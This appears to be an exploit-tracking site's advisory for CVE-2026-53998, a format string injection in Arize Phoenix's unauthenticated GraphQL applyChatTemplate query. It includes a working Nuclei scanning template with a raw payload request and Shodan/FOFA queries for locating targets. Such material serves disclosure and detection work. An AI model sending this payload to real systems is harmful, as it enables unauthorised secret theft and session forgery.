CVE-2026-53998: Arize Phoenix 13.0.0 - 15.6.x - Format String Injection

2026-12-04 PoC Public

Description

Arize Phoenix 13.0.0 before 15.7.0 contains a format string injection caused by the unauthenticated applyChatTemplate GraphQL query passing user templates to Python str.format, letting attackers read environment variables and internal module state.

Details

CVE
CVE-2026-53998 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-53998

info:
  name: Arize Phoenix 13.0.0 - 15.6.x - Format String Injection
  author: s4e-io
  severity: critical
  description: |
    Arize Phoenix 13.0.0 before 15.7.0 contains a format string injection caused by the unauthenticated applyChatTemplate GraphQL query passing user templates to Python str.format, letting attackers read environment variables and internal module state.
  impact: |
    Attackers can obtain secrets such as PHOENIX_SECRET, leading to session token forgery and full compromise.
  remediation: |
    Update to version 15.7.0 or later.
  reference:
    - https://github.com/Arize-ai/phoenix/security/advisories/GHSA-gfv3-m769-5xm3
    - https://github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8
    - https://github.com/Arize-ai/phoenix/pull/13197
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53998
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 10
    cve-id: CVE-2026-53998
    epss-score: 0.01719
    epss-percentile: 0.78236
    cwe-id: CWE-134
  metadata:
    verified: true
    max-request: 1
    vendor: arize-ai
    product: phoenix
    shodan-query: http.html:"Arize Phoenix"
    fofa-query: body="Arize Phoenix"
  tags: cve,cve2026,arize,phoenix,llm,injection,unauth,intrusive

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query ($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { role content { __typename ... on TextContentPart { text { text } } } } } }","variables":{"t":{"messages":[{"role":"USER","content":[{"text":{"text":"{{randstr}} {u.__class__}"}}]}]},"o":{"variables":{"u":{"x":1}},"format":"F_STRING"}}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("\"applyChatTemplate\"\\s*:\\s*\\{", body)'
          - 'contains_all(body, "{{randstr}}", "phoenix.utilities.template_formatters.DotDict")'
          - 'contains(content_type, "json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402206ca5310a6b6018fadd0bf97e94409bae95b96dcf115f2a23a29f4532702a2cf202206b1c36d0a2b0e932edc79f04319512a1268f4de4db7f39ae9fe979021c638032:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life